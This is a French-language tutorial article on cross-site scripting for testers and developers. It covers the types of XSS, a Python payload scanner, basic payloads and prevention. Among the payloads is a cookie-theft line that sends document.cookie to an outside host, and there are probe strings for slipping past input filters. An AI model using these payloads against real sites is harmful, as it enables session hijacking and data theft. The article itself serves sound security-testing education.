D'après les statistiques que j'ai consultées et mon expérience, les vulnérabilités XSS continuent de constituer une menace répandue pour les applications Web, posant des risques de vol de données, de détournement de session et de problèmes de sites Web. J'ai décidé que je pourrais passer plus de temps à rechercher ce type de vulnérabilité et partager avec vous au moins ces connaissances de base de type aperçu afin que de nombreux experts en assurance qualité et en développement puissent garder à l'esprit certaines façons de tester leurs applications par rapport à ce problème. Cet article explore différents types de XSS, méthodologies de test et approches d'automatisation et fournit quelques exemples et charges utiles pour des tests d'intrusion efficaces.
Le cross-site scripting (XSS) permet aux attaquants d'injecter des scripts malveillants dans des pages Web consultées par d'autres utilisateurs, exploitant ainsi les vulnérabilités de l'exécution de code côté client. Comprendre les différents types de vulnérabilités XSS et utiliser des stratégies de test appropriées sont essentiels pour créer des applications Web sécurisées et protégées contre de telles attaques.
Les exploits XSS se produisent lorsque des entrées utilisateur non fiables sont mal nettoyées et exécutées dans une application Web, permettant aux attaquants d'injecter et d'exécuter des scripts malveillants dans le contexte des navigateurs d'autres utilisateurs.
Se produit lorsque les données fournies par l'utilisateur sont renvoyées dans la réponse sans validation appropriée.
Exemple : <script>alert('XSS_DEMO')</script>
injecté via un paramètre d'URL.
Ces exploits se produisent lorsqu'une application Web reflète une entrée utilisateur non validée dans le navigateur de l'utilisateur sans nettoyage approprié. Dans cette attaque, l'attaquant crée une URL malveillante contenant un code de script qui, lorsque la victime clique dessus, est exécuté dans le contexte de la page Web vulnérable. Le script malveillant n'est pas stocké sur le serveur mais est reflété directement à partir de l'entrée de l'utilisateur. Les vulnérabilités XSS réfléchies sont souvent exploitées dans des attaques de phishing ou pour manipuler l'expérience de navigation de l'utilisateur. L’impact peut être grave, allant du vol de cookies au détournement de session.
Le script malveillant est stocké en permanence sur le serveur et exécuté lorsqu'il est consulté par d'autres utilisateurs.
Exemple : script malveillant stocké dans un commentaire/une publication sur une publication de forum ou sur une page de profil de réseau social.
Également connu sous le nom de XSS persistant, il se produit lorsqu'un attaquant injecte un code de script malveillant dans une application Web, qui est ensuite stocké côté serveur. Ce script injecté est ensuite récupéré et exécuté chaque fois que d'autres utilisateurs accèdent à la page vulnérable. Les attaques XSS stockées sont particulièrement dangereuses car le script injecté persiste dans le temps, affectant potentiellement plusieurs utilisateurs et conduisant à une exploitation généralisée. Les attaquants ciblent généralement le contenu généré par les utilisateurs, tel que les commentaires, les messages de forum, les noms d'entités affichés sur les pages Web ou les champs de profil, pour exécuter leurs charges utiles malveillantes. Les conséquences du XSS stocké peuvent inclure le vol de données, le piratage de compte et la dégradation de sites Web, posant des risques importants à la fois aux utilisateurs et à l'organisation concernée.
L'exécution du script repose sur la manipulation du DOM côté client.
Exemple : le code JS récupère et exécute les données contrôlées par l'utilisateur à partir du hachage de l'URL.
Cela se produit lorsqu'une application Web manipule dynamiquement le DOM sur la base d'une entrée utilisateur non fiable de manière dangereuse. Contrairement aux attaques XSS traditionnelles, qui impliquent un traitement côté serveur, le XSS basé sur DOM se manifeste entièrement côté client. Les attaquants exploitent le XSS basé sur DOM en manipulant des scripts côté client pour exécuter du code arbitraire dans le navigateur de la victime. Ce type de XSS est souvent plus difficile à détecter et à atténuer, car la vulnérabilité réside dans le code côté client et peut ne pas être évidente lors des tests côté serveur. Les attaques XSS basées sur DOM peuvent entraîner diverses conséquences, notamment le détournement de session, l'exfiltration de données et les actions non autorisées de la part de l'utilisateur, soulignant l'importance des mesures de sécurité côté client et des pratiques vigilantes de développement d'applications Web.
Il s'agit d'une attaque d'ingénierie sociale dans laquelle un attaquant incite un utilisateur à exécuter du code malveillant dans son navigateur. Contrairement aux attaques XSS traditionnelles qui ciblent plusieurs utilisateurs, Self-XSS exploite la confiance de l'utilisateur pour exécuter du code au sein de sa session. En règle générale, les attaquants incitent leurs victimes à coller du code JS apparemment innocent dans la console de développement de leur navigateur ou dans certains champs d'un site Web sous couvert d'une action inoffensive, comme déverrouiller une fonctionnalité ou gagner des récompenses. Une fois exécuté, le code injecté peut potentiellement compromettre le compte de la victime, voler des informations sensibles ou effectuer des actions non autorisées en son nom. Bien qu'il soit limité à la session de la victime, Self-XSS reste une menace, soulignant l'importance de l'éducation et de la sensibilisation des utilisateurs pour reconnaître et éviter de telles tactiques trompeuses.
Vous pouvez écrire des scripts ; Je préfère Python, par exemple :
import requests def test_xss(url, parameter): payloads = [ "<script>alert('XSS')</script>", "<img src=x onerror=alert(1)>", # list of your payloads ] for payload in payloads: modified_url = f'{url}?{parameter}={payload}' response = requests.get(modified_url) if payload in response.text: print(f'Potential XSS detected here - {modified_url}') # example test_xss("https://testwebsite.com/search", "query_param_name")
Analysez les réponses pour déterminer si les charges utiles sont reflétées ou exécutées. Créez un PoC, comprenez l’impact potentiel et priorisez la résolution des problèmes.
Pas:
Saisissez une balise de script, suivie d'un code JS, dans les champs de saisie de votre application.
Par exemple, charges utiles XSS de base :
<script>alert('XSS');</script> (%0ejavascript:alert(/XSS/)) <script>alert('XSS')</script> // Display alert dialog with 'XSS' message. <img src=x onerror=alert(((123)> // Load broken image, trigger alert with '123'. // Cookie Theft Payload: <img src="http://website.com/stealcookie?cookie="+document.cookie> // Sends victim's cookies to attacker-controlled server. // DOM-based XSS Payload: #"><img src=x onerror=alert(123)> // Exploits DOM manipulation, triggers alert on vulnerable pages.
Soumettez l'entrée et voyez si le script s'exécute.
Si tel est le cas, l’application est vulnérable aux attaques XSS.
Si le script ne s'exécute pas, essayez de modifier l'entrée en ajoutant d'autres balises HTML, telles que <img>
ou <iframe>
, et voyez si elles se reflètent sur la page, par exemple (celle-ci fonctionne presque toujours pour moi) :
<b>t</b>#`"/*—est
Vous pouvez ajouter un script pour interroger les paramètres de l'URL de votre application Web ou un nom d'utilisateur, les noms de fichiers téléchargés ou tout texte qui sera affiché sur la page de l'application et que vous pouvez modifier.
Soyez conscient des validations frontales des entrées. Essayez toujours de soumettre la valeur à l'aide d'une demande directe (en utilisant Postman, Burp ou tout autre outil similaire).
Vérifiez la console du navigateur dans les outils de développement car parfois vous ne verrez aucun changement visible sur la page, mais certains symboles, par exemple `"/*—
peuvent casser le JS/HTML de la page, et vous verrez un avertissement dans la console qui pourrait être un indice pour vous sur la façon de modifier votre charge utile pour obtenir un PoC XSS
Utilisez le fuzzing et une liste de charges utiles - automatisez cette approche lorsque cela est possible ou utilisez des outils spéciaux pour cela.
Personnellement, j'aime utiliser les charges utiles et les informations d'ici , c'est une ressource très utile, à mon avis.
PoC XSS
print()
pour les navigateurs Chrome post-version 92.Exploitation XSS avancée
Contourner les filtres XSS
Encodez les données en fonction du contexte dans lequel les données de sortie sont rendues. Appliquez différentes méthodes d'encodage pour HTML, JS, CSS et d'autres contextes pour garantir une protection complète contre XSS.
Par exemple , utilisez le codage d'entité HTML pour le contenu HTML, l'échappement JavaScript pour les contextes de script en ligne et l'échappement CSS pour les attributs de style afin d'empêcher l'injection de script et de maintenir l'intégrité des données dans divers contextes de sortie.
Implémentez une liste blanche et une liste noire des entrées pour filtrer et valider les entrées des utilisateurs en fonction de listes d'autorisation et de listes de refus prédéfinies de caractères, modèles ou types de contenu autorisés et interdits.
XSS constitue une menace persistante pour les applications Web, risquant de compromettre la confiance des utilisateurs et des violations de données. Comprendre les types XSS et les méthodes de test est crucial pour une atténuation efficace. Les techniques de prévention telles que la validation des entrées, le codage des sorties et la mise en œuvre de CSP améliorent la sécurité des applications. En donnant la priorité aux pratiques de sécurité et à la collaboration, les équipes peuvent protéger leurs applications contre XSS et garantir une sécurité adéquate des applications Web.
Si vous êtes débutant et intéressé par la cybersécurité et les tests d'intrusion ou si vous souhaitez simplement améliorer votre application pour la rendre plus sécurisée, vous pouvez lire mes articles sur ces sujets :
Pour plus de détails sur XSS et les charges utiles, vous pouvez trouver les ressources suivantes :
Effectuez toujours des tests d’intrusion avec une autorisation explicite et dans un environnement contrôlé. Cette approche éthique garantit que les évaluations de sécurité s'alignent sur des protocoles de test responsables, évitant ainsi toute compromission involontaire des systèmes et garantissant l'intégrité du processus de test et de la stratégie globale de cybersécurité.